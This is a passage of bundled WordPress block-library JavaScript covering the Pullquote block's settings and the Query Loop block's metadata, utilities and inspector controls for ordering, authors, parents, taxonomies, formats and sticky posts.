41771 return [
41772 headingBlock,
41773 (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
41774 content: citation
41775 })
41776 ];
41777 }
41778 }
41779 ]
41780};
41781var pullquote_transforms_transforms_default = pullquote_transforms_transforms;
41782
41783
41784;// ./node_modules/@wordpress/block-library/build-module/pullquote/index.js
41785
41786
41787
41788
41789
41790
41791
41792
41793const { name: pullquote_name } = pullquote_block_namespaceObject;
41794const pullquote_settings = {
41795 icon: pullquote_default,
41796 example: {
41797 attributes: {
41798 value: (
41799 // translators: Quote serving as example for the Pullquote block. Attributed to Matt Mullenweg.
41800 (0,external_wp_i18n_namespaceObject.__)(
41801 "One of the hardest things to do in technology is disrupt yourself."
41802 )
41803 ),
41804 citation: (0,external_wp_i18n_namespaceObject.__)("Matt Mullenweg")
41805 }
41806 },
41807 transforms: pullquote_transforms_transforms_default,
41808 edit: pullquote_edit_edit_default,
41809 save: pullquote_save_save,
41810 deprecated: pullquote_deprecated_deprecated_default
41811};
41812const pullquote_init = () => initBlock({ name: pullquote_name, metadata: pullquote_block_namespaceObject, settings: pullquote_settings });
41813
41814
41815;// ./node_modules/@wordpress/icons/build-module/library/loop.js
41816
41817
41818var loop_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.1823 11.6392C18.1823 13.0804 17.0139 14.2487 15.5727 14.2487C14.3579 14.2487 13.335 13.4179 13.0453 12.2922L13.0377 12.2625L13.0278 12.2335L12.3985 10.377L12.3942 10.3785C11.8571 8.64997 10.246 7.39405 8.33961 7.39405C5.99509 7.39405 4.09448 9.29465 4.09448 11.6392C4.09448 13.9837 5.99509 15.8843 8.33961 15.8843C8.88499 15.8843 9.40822 15.781 9.88943 15.5923L9.29212 14.0697C8.99812 14.185 8.67729 14.2487 8.33961 14.2487C6.89838 14.2487 5.73003 13.0804 5.73003 11.6392C5.73003 10.1979 6.89838 9.02959 8.33961 9.02959C9.55444 9.02959 10.5773 9.86046 10.867 10.9862L10.8772 10.9836L11.4695 12.7311C11.9515 14.546 13.6048 15.8843 15.5727 15.8843C17.9172 15.8843 19.8178 13.9837 19.8178 11.6392C19.8178 9.29465 17.9172 7.39404 15.5727 7.39404C15.0287 7.39404 14.5066 7.4968 14.0264 7.6847L14.6223 9.20781C14.9158 9.093 15.2358 9.02959 15.5727 9.02959C17.0139 9.02959 18.1823 10.1979 18.1823 11.6392Z" }) });
41819
41820
41821;// ./node_modules/@wordpress/block-library/build-module/query/block.json
41822const query_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query","title":"Query Loop","category":"theme","description":"An advanced block that allows displaying post types based on different query parameters and visual configurations.","keywords":["posts","list","blog","blogs","custom post types"],"textdomain":"default","attributes":{"queryId":{"type":"number"},"query":{"type":"object","default":{"perPage":null,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":true,"taxQuery":null,"parents":[],"format":[]}},"tagName":{"type":"string","default":"div"},"namespace":{"type":"string"},"enhancedPagination":{"type":"boolean","default":false}},"usesContext":["templateSlug"],"providesContext":{"queryId":"queryId","query":"query","displayLayout":"displayLayout","enhancedPagination":"enhancedPagination"},"supports":{"align":["wide","full"],"html":false,"layout":true,"interactivity":true,"contentRole":true},"editorStyle":"wp-block-query-editor"}');
41823;// ./node_modules/@wordpress/block-library/build-module/query/utils.js
41824
41825
41826
41827
41828
41829
41830
41831const getEntitiesInfo = (entities) => {
41832 const mapping = entities?.reduce(
41833 (accumulator, entity) => {
41834 const { mapById, mapByName, names } = accumulator;
41835 mapById[entity.id] = entity;
41836 mapByName[entity.name] = entity;
41837 names.push(entity.name);
41838 return accumulator;
41839 },
41840 { mapById: {}, mapByName: {}, names: [] }
41841 );
41842 return {
41843 entities,
41844 ...mapping
41845 };
41846};
41847const getValueFromObjectPath = (object, path) => {
41848 const normalizedPath = path.split(".");
41849 let value = object;
41850 normalizedPath.forEach((fieldName) => {
41851 value = value?.[fieldName];
41852 });
41853 return value;
41854};
41855const mapToIHasNameAndId = (entities, path) => {
41856 return (entities || []).map((entity) => ({
41857 ...entity,
41858 name: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(getValueFromObjectPath(entity, path))
41859 }));
41860};
41861const usePostTypes = () => {
41862 const postTypes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
41863 const { getPostTypes } = select(external_wp_coreData_namespaceObject.store);
41864 const excludedPostTypes = ["attachment"];
41865 const filteredPostTypes = getPostTypes({ per_page: -1 })?.filter(
41866 ({ viewable, slug }) => viewable && !excludedPostTypes.includes(slug)
41867 );
41868 return filteredPostTypes;
41869 }, []);
41870 const postTypesTaxonomiesMap = (0,external_wp_element_namespaceObject.useMemo)(() => {
41871 if (!postTypes?.length) {
41872 return;
41873 }
41874 return postTypes.reduce((accumulator, type) => {
41875 accumulator[type.slug] = type.taxonomies;
41876 return accumulator;
41877 }, {});
41878 }, [postTypes]);
41879 const postTypesSelectOptions = (0,external_wp_element_namespaceObject.useMemo)(
41880 () => (postTypes || []).map(({ labels, slug }) => ({
41881 label: labels.singular_name,
41882 value: slug
41883 })),
41884 [postTypes]
41885 );
41886 const postTypeFormatSupportMap = (0,external_wp_element_namespaceObject.useMemo)(() => {
41887 if (!postTypes?.length) {
41888 return {};
41889 }
41890 return postTypes.reduce((accumulator, type) => {
41891 accumulator[type.slug] = type.supports?.["post-formats"] || false;
41892 return accumulator;
41893 }, {});
41894 }, [postTypes]);
41895 return {
41896 postTypesTaxonomiesMap,
41897 postTypesSelectOptions,
41898 postTypeFormatSupportMap
41899 };
41900};
41901const useTaxonomies = (postType) => {
41902 const taxonomies = (0,external_wp_data_namespaceObject.useSelect)(
41903 (select) => {
41904 const { getTaxonomies, getPostType } = select(external_wp_coreData_namespaceObject.store);
41905 if (getPostType(postType)?.taxonomies?.length > 0) {
41906 return getTaxonomies({
41907 type: postType,
41908 per_page: -1
41909 });
41910 }
41911 return [];
41912 },
41913 [postType]
41914 );
41915 return (0,external_wp_element_namespaceObject.useMemo)(() => {
41916 return taxonomies?.filter(
41917 ({ visibility }) => !!visibility?.publicly_queryable
41918 );
41919 }, [taxonomies]);
41920};
41921function useIsPostTypeHierarchical(postType) {
41922 return (0,external_wp_data_namespaceObject.useSelect)(
41923 (select) => {
41924 const type = select(external_wp_coreData_namespaceObject.store).getPostType(postType);
41925 return type?.viewable && type?.hierarchical;
41926 },
41927 [postType]
41928 );
41929}
41930function useOrderByOptions(postType) {
41931 const supportsCustomOrder = (0,external_wp_data_namespaceObject.useSelect)(
41932 (select) => {
41933 const type = select(external_wp_coreData_namespaceObject.store).getPostType(postType);
41934 return !!type?.supports?.["page-attributes"];
41935 },
41936 [postType]
41937 );
41938 return (0,external_wp_element_namespaceObject.useMemo)(() => {
41939 const orderByOptions = [
41940 {
41941 label: (0,external_wp_i18n_namespaceObject.__)("Newest to oldest"),
41942 value: "date/desc"
41943 },
41944 {
41945 label: (0,external_wp_i18n_namespaceObject.__)("Oldest to newest"),
41946 value: "date/asc"
41947 },
41948 {
41949 /* translators: Label for ordering posts by title in ascending order. */
41950 label: (0,external_wp_i18n_namespaceObject.__)("A \u2192 Z"),
41951 value: "title/asc"
41952 },
41953 {
41954 /* translators: Label for ordering posts by title in descending order. */
41955 label: (0,external_wp_i18n_namespaceObject.__)("Z \u2192 A"),
41956 value: "title/desc"
41957 }
41958 ];
41959 if (supportsCustomOrder) {
41960 orderByOptions.push(
41961 {
41962 /* translators: Label for ordering posts by ascending menu order. */
41963 label: (0,external_wp_i18n_namespaceObject.__)("Ascending by order"),
41964 value: "menu_order/asc"
41965 },
41966 {
41967 /* translators: Label for ordering posts by descending menu order. */
41968 label: (0,external_wp_i18n_namespaceObject.__)("Descending by order"),
41969 value: "menu_order/desc"
41970 }
41971 );
41972 }
41973 return orderByOptions;
41974 }, [supportsCustomOrder]);
41975}
41976function useAllowedControls(attributes) {
41977 return (0,external_wp_data_namespaceObject.useSelect)(
41978 (select) => select(external_wp_blocks_namespaceObject.store).getActiveBlockVariation(
41979 "core/query",
41980 attributes
41981 )?.allowedControls,
41982 [attributes]
41983 );
41984}
41985function isControlAllowed(allowedControls, key) {
41986 if (!allowedControls) {
41987 return true;
41988 }
41989 return allowedControls.includes(key);
41990}
41991const getTransformedBlocksFromPattern = (blocks, queryBlockAttributes) => {
41992 const {
41993 query: { postType, inherit },
41994 namespace
41995 } = queryBlockAttributes;
41996 const clonedBlocks = blocks.map((block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block));
41997 const queryClientIds = [];
41998 const blocksQueue = [...clonedBlocks];
41999 while (blocksQueue.length > 0) {
42000 const block = blocksQueue.shift();
42001 if (block.name === "core/query") {
42002 block.attributes.query = {
42003 ...block.attributes.query,
42004 postType,
42005 inherit
42006 };
42007 if (namespace) {
42008 block.attributes.namespace = namespace;
42009 }
42010 queryClientIds.push(block.clientId);
42011 }
42012 block.innerBlocks?.forEach((innerBlock) => {
42013 blocksQueue.push(innerBlock);
42014 });
42015 }
42016 return { newBlocks: clonedBlocks, queryClientIds };
42017};
42018function useBlockNameForPatterns(clientId, attributes) {
42019 return (0,external_wp_data_namespaceObject.useSelect)(
42020 (select) => {
42021 const activeVariationName = select(
42022 external_wp_blocks_namespaceObject.store
42023 ).getActiveBlockVariation("core/query", attributes)?.name;
42024 if (!activeVariationName) {
42025 return "core/query";
42026 }
42027 const { getBlockRootClientId, getPatternsByBlockTypes } = select(external_wp_blockEditor_namespaceObject.store);
42028 const rootClientId = getBlockRootClientId(clientId);
42029 const activePatterns = getPatternsByBlockTypes(
42030 `core/query/${activeVariationName}`,
42031 rootClientId
42032 );
42033 return activePatterns.length > 0 ? `core/query/${activeVariationName}` : "core/query";
42034 },
42035 [clientId, attributes]
42036 );
42037}
42038function useScopedBlockVariations(attributes) {
42039 const { activeVariationName, blockVariations } = (0,external_wp_data_namespaceObject.useSelect)(
42040 (select) => {
42041 const { getActiveBlockVariation, getBlockVariations } = select(external_wp_blocks_namespaceObject.store);
42042 return {
42043 activeVariationName: getActiveBlockVariation(
42044 "core/query",
42045 attributes
42046 )?.name,
42047 blockVariations: getBlockVariations("core/query", "block")
42048 };
42049 },
42050 [attributes]
42051 );
42052 const variations = (0,external_wp_element_namespaceObject.useMemo)(() => {
42053 const isNotConnected = (variation) => !variation.attributes?.namespace;
42054 if (!activeVariationName) {
42055 return blockVariations.filter(isNotConnected);
42056 }
42057 const connectedVariations = blockVariations.filter(
42058 (variation) => variation.attributes?.namespace?.includes(activeVariationName)
42059 );
42060 if (!!connectedVariations.length) {
42061 return connectedVariations;
42062 }
42063 return blockVariations.filter(isNotConnected);
42064 }, [activeVariationName, blockVariations]);
42065 return variations;
42066}
42067const usePatterns = (clientId, name) => {
42068 return (0,external_wp_data_namespaceObject.useSelect)(
42069 (select) => {
42070 const { getBlockRootClientId, getPatternsByBlockTypes } = select(external_wp_blockEditor_namespaceObject.store);
42071 const rootClientId = getBlockRootClientId(clientId);
42072 return getPatternsByBlockTypes(name, rootClientId);
42073 },
42074 [name, clientId]
42075 );
42076};
42077const useUnsupportedBlocks = (clientId) => {
42078 return (0,external_wp_data_namespaceObject.useSelect)(
42079 (select) => {
42080 const { getClientIdsOfDescendants, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
42081 return getClientIdsOfDescendants(clientId).some(
42082 (descendantClientId) => {
42083 const blockName = getBlockName(descendantClientId);
42084 const blockSupportsInteractivity = Object.is(
42085 (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, "interactivity"),
42086 true
42087 );
42088 const blockSupportsInteractivityClientNavigation = (0,external_wp_blocks_namespaceObject.getBlockSupport)(
42089 blockName,
42090 "interactivity.clientNavigation"
42091 );
42092 return !blockSupportsInteractivity && !blockSupportsInteractivityClientNavigation;
42093 }
42094 );
42095 },
42096 [clientId]
42097 );
42098};
42099function getQueryContextFromTemplate(templateSlug) {
42100 if (!templateSlug) {
42101 return { isSingular: true };
42102 }
42103 let isSingular = false;
42104 let templateType = templateSlug === "wp" ? "custom" : templateSlug;
42105 const singularTemplates = ["404", "blank", "single", "page", "custom"];
42106 const templateTypeFromSlug = templateSlug.includes("-") ? templateSlug.split("-", 1)[0] : templateSlug;
42107 const queryFromTemplateSlug = templateSlug.includes("-") ? templateSlug.split("-").slice(1).join("-") : "";
42108 if (queryFromTemplateSlug) {
42109 templateType = templateTypeFromSlug;
42110 }
42111 isSingular = singularTemplates.includes(templateType);
42112 return { isSingular, templateType };
42113}
42114
42115
42116;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/enhanced-pagination-control.js
42117
42118
42119
42120
42121function EnhancedPaginationControl({
42122 enhancedPagination,
42123 setAttributes,
42124 clientId
42125}) {
42126 const hasUnsupportedBlocks = useUnsupportedBlocks(clientId);
42127 let help = (0,external_wp_i18n_namespaceObject.__)(
42128 "Reload the full page\u2014instead of just the posts list\u2014when visitors navigate between pages."
42129 );
42130 if (hasUnsupportedBlocks) {
42131 help = (0,external_wp_i18n_namespaceObject.__)(
42132 "Enhancement disabled because there are non-compatible blocks inside the Query block."
42133 );
42134 }
42135 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42136 external_wp_components_namespaceObject.ToggleControl,
42137 {
42138 __nextHasNoMarginBottom: true,
42139 label: (0,external_wp_i18n_namespaceObject.__)("Reload full page"),
42140 help,
42141 checked: !enhancedPagination,
42142 disabled: hasUnsupportedBlocks,
42143 onChange: (value) => {
42144 setAttributes({
42145 enhancedPagination: !value
42146 });
42147 }
42148 }
42149 ) });
42150}
42151
42152
42153;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/order-control.js
42154
42155
42156
42157const defaultOrderByOptions = [
42158 {
42159 label: (0,external_wp_i18n_namespaceObject.__)("Newest to oldest"),
42160 value: "date/desc"
42161 },
42162 {
42163 label: (0,external_wp_i18n_namespaceObject.__)("Oldest to newest"),
42164 value: "date/asc"
42165 },
42166 {
42167 /* translators: Label for ordering posts by title in ascending order. */
42168 label: (0,external_wp_i18n_namespaceObject.__)("A \u2192 Z"),
42169 value: "title/asc"
42170 },
42171 {
42172 /* translators: Label for ordering posts by title in descending order. */
42173 label: (0,external_wp_i18n_namespaceObject.__)("Z \u2192 A"),
42174 value: "title/desc"
42175 }
42176];
42177function OrderControl({
42178 order,
42179 orderBy,
42180 orderByOptions = defaultOrderByOptions,
42181 onChange
42182}) {
42183 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42184 external_wp_components_namespaceObject.SelectControl,
42185 {
42186 __nextHasNoMarginBottom: true,
42187 __next40pxDefaultSize: true,
42188 label: (0,external_wp_i18n_namespaceObject.__)("Order by"),
42189 value: `${orderBy}/${order}`,
42190 options: orderByOptions,
42191 onChange: (value) => {
42192 const [newOrderBy, newOrder] = value.split("/");
42193 onChange({ order: newOrder, orderBy: newOrderBy });
42194 }
42195 }
42196 );
42197}
42198var order_control_default = OrderControl;
42199
42200
42201;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/author-control.js
42202
42203
42204
42205
42206
42207
42208const author_control_AUTHORS_QUERY = {
42209 who: "authors",
42210 per_page: -1,
42211 _fields: "id,name",
42212 context: "view"
42213};
42214function AuthorControl({ value, onChange }) {
42215 const authorsList = (0,external_wp_data_namespaceObject.useSelect)((select) => {
42216 const { getUsers } = select(external_wp_coreData_namespaceObject.store);
42217 return getUsers(author_control_AUTHORS_QUERY);
42218 }, []);
42219 if (!authorsList) {
42220 return null;
42221 }
42222 const authorsInfo = getEntitiesInfo(authorsList);
42223 const normalizedValue = !value ? [] : value.toString().split(",");
42224 const sanitizedValue = normalizedValue.reduce(
42225 (accumulator, authorId) => {
42226 const author = authorsInfo.mapById[authorId];
42227 if (author) {
42228 accumulator.push({
42229 id: authorId,
42230 value: author.name
42231 });
42232 }
42233 return accumulator;
42234 },
42235 []
42236 );
42237 const getIdByValue = (entitiesMappedByName, authorValue) => {
42238 const id = authorValue?.id || entitiesMappedByName[authorValue]?.id;
42239 if (id) {
42240 return id;
42241 }
42242 };
42243 const onAuthorChange = (newValue) => {
42244 const ids = Array.from(
42245 newValue.reduce((accumulator, author) => {
42246 const id = getIdByValue(authorsInfo.mapByName, author);
42247 if (id) {
42248 accumulator.add(id);
42249 }
42250 return accumulator;
42251 }, /* @__PURE__ */ new Set())
42252 );
42253 onChange({ author: ids.join(",") });
42254 };
42255 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42256 external_wp_components_namespaceObject.FormTokenField,
42257 {
42258 label: (0,external_wp_i18n_namespaceObject.__)("Authors"),
42259 value: sanitizedValue,
42260 suggestions: authorsInfo.names,
42261 onChange: onAuthorChange,
42262 __experimentalShowHowTo: false,
42263 __nextHasNoMarginBottom: true,
42264 __next40pxDefaultSize: true
42265 }
42266 );
42267}
42268var author_control_default = AuthorControl;
42269
42270
42271;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/parent-control.js
42272
42273
42274
42275
42276
42277
42278
42279
42280const parent_control_EMPTY_ARRAY = [];
42281const BASE_QUERY = {
42282 order: "asc",
42283 _fields: "id,title",
42284 context: "view"
42285};
42286function ParentControl({ parents, postType, onChange }) {
42287 const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)("");
42288 const [value, setValue] = (0,external_wp_element_namespaceObject.useState)(parent_control_EMPTY_ARRAY);
42289 const [suggestions, setSuggestions] = (0,external_wp_element_namespaceObject.useState)(parent_control_EMPTY_ARRAY);
42290 const debouncedSearch = (0,external_wp_compose_namespaceObject.useDebounce)(setSearch, 250);
42291 const { searchResults, searchHasResolved } = (0,external_wp_data_namespaceObject.useSelect)(
42292 (select) => {
42293 if (!search) {
42294 return { searchResults: parent_control_EMPTY_ARRAY, searchHasResolved: true };
42295 }
42296 const { getEntityRecords, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
42297 const selectorArgs = [
42298 "postType",
42299 postType,
42300 {
42301 ...BASE_QUERY,
42302 search,
42303 orderby: "relevance",
42304 exclude: parents,
42305 per_page: 20
42306 }
42307 ];
42308 return {
42309 searchResults: getEntityRecords(...selectorArgs),
42310 searchHasResolved: hasFinishedResolution(
42311 "getEntityRecords",
42312 selectorArgs
42313 )
42314 };
42315 },
42316 [search, postType, parents]
42317 );
42318 const currentParents = (0,external_wp_data_namespaceObject.useSelect)(
42319 (select) => {
42320 if (!parents?.length) {
42321 return parent_control_EMPTY_ARRAY;
42322 }
42323 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
42324 return getEntityRecords("postType", postType, {
42325 ...BASE_QUERY,
42326 include: parents,
42327 per_page: parents.length
42328 });
42329 },
42330 [parents, postType]
42331 );
42332 (0,external_wp_element_namespaceObject.useEffect)(() => {
42333 if (!parents?.length) {
42334 setValue(parent_control_EMPTY_ARRAY);
42335 }
42336 if (!currentParents?.length) {
42337 return;
42338 }
42339 const currentParentsInfo = getEntitiesInfo(
42340 mapToIHasNameAndId(currentParents, "title.rendered")
42341 );
42342 const sanitizedValue = parents.reduce((accumulator, id) => {
42343 const entity = currentParentsInfo.mapById[id];
42344 if (entity) {
42345 accumulator.push({
42346 id,
42347 value: entity.name
42348 });
42349 }
42350 return accumulator;
42351 }, []);
42352 setValue(sanitizedValue);
42353 }, [parents, currentParents]);
42354 const entitiesInfo = (0,external_wp_element_namespaceObject.useMemo)(() => {
42355 if (!searchResults?.length) {
42356 return parent_control_EMPTY_ARRAY;
42357 }
42358 return getEntitiesInfo(
42359 mapToIHasNameAndId(searchResults, "title.rendered")
42360 );
42361 }, [searchResults]);
42362 (0,external_wp_element_namespaceObject.useEffect)(() => {
42363 if (!searchHasResolved) {
42364 return;
42365 }
42366 setSuggestions(entitiesInfo.names);
42367 }, [entitiesInfo.names, searchHasResolved]);
42368 const getIdByValue = (entitiesMappedByName, entity) => {
42369 const id = entity?.id || entitiesMappedByName?.[entity]?.id;
42370 if (id) {
42371 return id;
42372 }
42373 };
42374 const onParentChange = (newValue) => {
42375 const ids = Array.from(
42376 newValue.reduce((accumulator, entity) => {
42377 const id = getIdByValue(entitiesInfo.mapByName, entity);
42378 if (id) {
42379 accumulator.add(id);
42380 }
42381 return accumulator;
42382 }, /* @__PURE__ */ new Set())
42383 );
42384 setSuggestions(parent_control_EMPTY_ARRAY);
42385 onChange({ parents: ids });
42386 };
42387 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42388 external_wp_components_namespaceObject.FormTokenField,
42389 {
42390 __next40pxDefaultSize: true,
42391 label: (0,external_wp_i18n_namespaceObject.__)("Parents"),
42392 value,
42393 onInputChange: debouncedSearch,
42394 suggestions,
42395 onChange: onParentChange,
42396 __experimentalShowHowTo: false,
42397 __nextHasNoMarginBottom: true
42398 }
42399 );
42400}
42401var parent_control_default = ParentControl;
42402
42403
42404;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/taxonomy-controls.js
42405
42406
42407
42408
42409
42410
42411
42412
42413const taxonomy_controls_EMPTY_ARRAY = [];
42414const taxonomy_controls_BASE_QUERY = {
42415 order: "asc",
42416 _fields: "id,name",
42417 context: "view"
42418};
42419const getTermIdByTermValue = (terms, termValue) => {
42420 const termId = termValue?.id || terms?.find((term) => term.name === termValue)?.id;
42421 if (termId) {
42422 return termId;
42423 }
42424 const termValueLower = termValue.toLocaleLowerCase();
42425 return terms?.find(
42426 (term) => term.name.toLocaleLowerCase() === termValueLower
42427 )?.id;
42428};
42429function TaxonomyControls({ onChange, query }) {
42430 const { postType, taxQuery } = query;
42431 const taxonomies = useTaxonomies(postType);
42432 if (!taxonomies || taxonomies.length === 0) {
42433 return null;
42434 }
42435 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: taxonomies.map((taxonomy) => {
42436 const termIds = taxQuery?.[taxonomy.slug] || [];
42437 const handleChange = (newTermIds) => onChange({
42438 taxQuery: {
42439 ...taxQuery,
42440 [taxonomy.slug]: newTermIds
42441 }
42442 });
42443 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42444 TaxonomyItem,
42445 {
42446 taxonomy,
42447 termIds,
42448 onChange: handleChange
42449 },
42450 taxonomy.slug
42451 );
42452 }) });
42453}
42454function TaxonomyItem({ taxonomy, termIds, onChange }) {
42455 const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)("");
42456 const [value, setValue] = (0,external_wp_element_namespaceObject.useState)(taxonomy_controls_EMPTY_ARRAY);
42457 const [suggestions, setSuggestions] = (0,external_wp_element_namespaceObject.useState)(taxonomy_controls_EMPTY_ARRAY);
42458 const debouncedSearch = (0,external_wp_compose_namespaceObject.useDebounce)(setSearch, 250);
42459 const { searchResults, searchHasResolved } = (0,external_wp_data_namespaceObject.useSelect)(
42460 (select) => {
42461 if (!search) {
42462 return { searchResults: taxonomy_controls_EMPTY_ARRAY, searchHasResolved: true };
42463 }
42464 const { getEntityRecords, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
42465 const selectorArgs = [
42466 "taxonomy",
42467 taxonomy.slug,
42468 {
42469 ...taxonomy_controls_BASE_QUERY,
42470 search,
42471 orderby: "name",
42472 exclude: termIds,
42473 per_page: 20
42474 }
42475 ];
42476 return {
42477 searchResults: getEntityRecords(...selectorArgs),
42478 searchHasResolved: hasFinishedResolution(
42479 "getEntityRecords",
42480 selectorArgs
42481 )
42482 };
42483 },
42484 [search, taxonomy.slug, termIds]
42485 );
42486 const existingTerms = (0,external_wp_data_namespaceObject.useSelect)(
42487 (select) => {
42488 if (!termIds?.length) {
42489 return taxonomy_controls_EMPTY_ARRAY;
42490 }
42491 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
42492 return getEntityRecords("taxonomy", taxonomy.slug, {
42493 ...taxonomy_controls_BASE_QUERY,
42494 include: termIds,
42495 per_page: termIds.length
42496 });
42497 },
42498 [taxonomy.slug, termIds]
42499 );
42500 (0,external_wp_element_namespaceObject.useEffect)(() => {
42501 if (!termIds?.length) {
42502 setValue(taxonomy_controls_EMPTY_ARRAY);
42503 }
42504 if (!existingTerms?.length) {
42505 return;
42506 }
42507 const sanitizedValue = termIds.reduce((accumulator, id) => {
42508 const entity = existingTerms.find((term) => term.id === id);
42509 if (entity) {
42510 accumulator.push({
42511 id,
42512 value: entity.name
42513 });
42514 }
42515 return accumulator;
42516 }, []);
42517 setValue(sanitizedValue);
42518 }, [termIds, existingTerms]);
42519 (0,external_wp_element_namespaceObject.useEffect)(() => {
42520 if (!searchHasResolved) {
42521 return;
42522 }
42523 setSuggestions(searchResults.map((result) => result.name));
42524 }, [searchResults, searchHasResolved]);
42525 const onTermsChange = (newTermValues) => {
42526 const newTermIds = /* @__PURE__ */ new Set();
42527 for (const termValue of newTermValues) {
42528 const termId = getTermIdByTermValue(searchResults, termValue);
42529 if (termId) {
42530 newTermIds.add(termId);
42531 }
42532 }
42533 setSuggestions(taxonomy_controls_EMPTY_ARRAY);
42534 onChange(Array.from(newTermIds));
42535 };
42536 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-library-query-inspector__taxonomy-control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42537 external_wp_components_namespaceObject.FormTokenField,
42538 {
42539 label: taxonomy.name,
42540 value,
42541 onInputChange: debouncedSearch,
42542 suggestions,
42543 displayTransform: external_wp_htmlEntities_namespaceObject.decodeEntities,
42544 onChange: onTermsChange,
42545 __experimentalShowHowTo: false,
42546 __nextHasNoMarginBottom: true,
42547 __next40pxDefaultSize: true
42548 }
42549 ) });
42550}
42551
42552
42553;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/format-controls.js
42554
42555
42556
42557
42558
42559const POST_FORMATS = [
42560 { value: "aside", label: (0,external_wp_i18n_namespaceObject.__)("Aside") },
42561 { value: "audio", label: (0,external_wp_i18n_namespaceObject.__)("Audio") },
42562 { value: "chat", label: (0,external_wp_i18n_namespaceObject.__)("Chat") },
42563 { value: "gallery", label: (0,external_wp_i18n_namespaceObject.__)("Gallery") },
42564 { value: "image", label: (0,external_wp_i18n_namespaceObject.__)("Image") },
42565 { value: "link", label: (0,external_wp_i18n_namespaceObject.__)("Link") },
42566 { value: "quote", label: (0,external_wp_i18n_namespaceObject.__)("Quote") },
42567 { value: "standard", label: (0,external_wp_i18n_namespaceObject.__)("Standard") },
42568 { value: "status", label: (0,external_wp_i18n_namespaceObject.__)("Status") },
42569 { value: "video", label: (0,external_wp_i18n_namespaceObject.__)("Video") }
42570].sort((a, b) => {
42571 const normalizedA = a.label.toUpperCase();
42572 const normalizedB = b.label.toUpperCase();
42573 if (normalizedA < normalizedB) {
42574 return -1;
42575 }
42576 if (normalizedA > normalizedB) {
42577 return 1;
42578 }
42579 return 0;
42580});
42581function formatNamesToValues(names, formats) {
42582 return names.map((name) => {
42583 return formats.find(
42584 (item) => item.label.toLocaleLowerCase() === name.toLocaleLowerCase()
42585 )?.value;
42586 }).filter(Boolean);
42587}
42588function FormatControls({ onChange, query: { format } }) {
42589 const normalizedFormats = Array.isArray(format) ? format : [format];
42590 const { supportedFormats } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
42591 const themeSupports = select(external_wp_coreData_namespaceObject.store).getThemeSupports();
42592 return {
42593 supportedFormats: themeSupports.formats
42594 };
42595 }, []);
42596 const formats = POST_FORMATS.filter(
42597 (item) => supportedFormats.includes(item.value)
42598 );
42599 const values = normalizedFormats.map(
42600 (name) => formats.find((item) => item.value === name)?.label
42601 ).filter(Boolean);
42602 const suggestions = formats.filter((item) => !normalizedFormats.includes(item.value)).map((item) => item.label);
42603 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42604 external_wp_components_namespaceObject.FormTokenField,
42605 {
42606 label: (0,external_wp_i18n_namespaceObject.__)("Formats"),
42607 value: values,
42608 suggestions,
42609 onChange: (newValues) => {
42610 onChange({
42611 format: formatNamesToValues(newValues, formats)
42612 });
42613 },
42614 __experimentalShowHowTo: false,
42615 __experimentalExpandOnFocus: true,
42616 __nextHasNoMarginBottom: true,
42617 __next40pxDefaultSize: true
42618 }
42619 );
42620}
42621
42622
42623;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/sticky-control.js
42624
42625
42626
42627const stickyOptions = [
42628 { label: (0,external_wp_i18n_namespaceObject.__)("Include"), value: "" },
42629 { label: (0,external_wp_i18n_namespaceObject.__)("Ignore"), value: "ignore" },
42630 { label: (0,external_wp_i18n_namespaceObject.__)("Exclude"), value: "exclude" },
42631 { label: (0,external_wp_i18n_namespaceObject.__)("Only"), value: "only" }
42632];
42633function StickyControl({ value, onChange }) {
42634 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42635 external_wp_components_namespaceObject.SelectControl,
42636 {
42637 __nextHasNoMarginBottom: true,
42638 __next40pxDefaultSize: true,
42639 label: (0,external_wp_i18n_namespaceObject.__)("Sticky posts"),
42640 options: stickyOptions,
42641 value,
42642 onChange,
42643 help: (0,external_wp_i18n_namespaceObject.__)(
42644 "Sticky posts always appear first, regardless of their publish date."
42645 )
42646 }
